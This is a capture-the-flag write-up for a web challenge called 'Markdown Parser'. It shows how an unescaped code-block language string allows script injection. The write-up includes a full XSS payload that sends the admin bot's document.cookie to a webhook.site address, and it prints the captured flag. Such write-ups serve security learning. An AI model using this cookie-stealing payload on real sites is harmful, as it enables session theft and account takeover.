# Markdown Parser
### Challenge Details
> Author: ocean \
Category: Web \
Title: Markdown Parser \
Description: I built this simple markdown parser. Please give me some feedback (in markdown), I promise to read them all. Current features include: bold, italics, code blocks with syntax highlighting! \
Points at the end of CTF: 100 \
Instance: http://challs.nusgreyhats.org:33335/ \
Download: https://ctfd.nusgreyhats.org/files/29b0bd5a0c29e0dd06ea5e99d85a0eb4/dist-markdown-parser.zip
----
### Writeup
On opening the page, we see a simple input box asking for some markdown. When you click submit, it renders out the markdown, with a button at the bottom reading "Send feedback". Clicking it shows an alert saying 'The admin has viewed your feedback!'. An XSS challenge?
Inspecting the `index.js`, one will notice two functions wherein the basis of our solution lies: `parseMarkdown()` and `visitUrl()`. Let's take a look at the file `parseMarkdown()` originates from, `markdown.js`.
In markdown.js, Lines 6 to 35:
```js
lines.forEach(line => {
if (inCodeBlock) {
if (line.startsWith('```')) {
inCodeBlock = false;
htmlOutput += '</code></pre>';
} else {
htmlOutput += escapeHtml(line) + '\n';
}
} else {
if (line.startsWith('```')) {
language = line.substring(3).trim();
inCodeBlock = true;
htmlOutput += '<pre><code class="language-' + language + '">';
} else {
line = escapeHtml(line);
line = line.replace(/`(.*?)`/g, '<code>$1</code>');
line = line.replace(/^(######\s)(.*)/, '<h6>$2</h6>');
line = line.replace(/^(#####\s)(.*)/, '<h5>$2</h5>');
...
line = line.replace(/^(#\s)(.*)/, '<h1>$2</h1>');
line = line.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>');
line = line.replace(/__(.*?)__/g, '<strong>$1</strong>');
line = line.replace(/\*(.*?)\*/g, '<em>$1</em>');
line = line.replace(/_(.*?)_/g, '<em>$1</em>');
htmlOutput += line;
}
}
});
```
If you're keen, you would notice that there's opportunity to escape the starting tag in the scenario when you're starting a code block. Let's take a look at it more carefully.
```js
if (line.startsWith('```')) {
language = line.substring(3).trim();
inCodeBlock = true;
htmlOutput += '<pre><code class="language-' + language + '">';
} ...
```
This action only executes when the line starts with three backticks and not in a code block, i.e. just when you're starting a code block. It gets the code language by taking the rest of the line excluding the first three characters and trimming that, e.g. "\`\`\`py" -> language = "py". It then sets inCodeBlock to True and appends `<pre><code class="language-{language}">` to the html output. Taking the previous example, this would be `<pre><code class="language-py">`. Most importantly, this is a direct substitution. If one could close the open apostrophes, and close the `pre` and `code` tags, they could write anything they want. Including `<script>`s.
So that's what I did. I put in the markdown
```md
```amazing-lang"></code></pre>
```
Which completes the chunk as `<pre><code class="language-amazing-lang"></code></pre>`. Remember what we were here for? Examine `admin.js`, and you will see that on Lines 24 to 26 there is the following:
```js
await page.setCookie({
name: 'flag',
value: process.env.FLAG || 'flag{fake_flag}',
...
```
It appears that we have to steal the admin cookies, wherein our beloved flag will be waiting for us. I'm using https://webhook.site to view requests here, although you can use other services like https://putsreq.com/. I came up with the following html code for cookie grabbing:
```html
<script>document.write('<img src=\"https://webhook.site/abc?cookie='+document.cookie+'\"/>')</script>
```
(webhook.site url hidden for obvious reasons)
Combining the code block trick and the previous cookie grabbing code, and you get:
```md
```amazing-lang"></code></pre><script>document.write('<img src=\"https://webhook.site/abc?cookie='+document.cookie+'\"/>')</script>
```
Paste that into the input box and click submit, then click send feedback and head back to webhook.site to view incoming requests.
You should see this appear:

And there's our flag,
`grey{m4rkd0wn_th1s_fl4g}`
### Comments
This one was the hardest of the web challenges I solved, but it was still fun. =)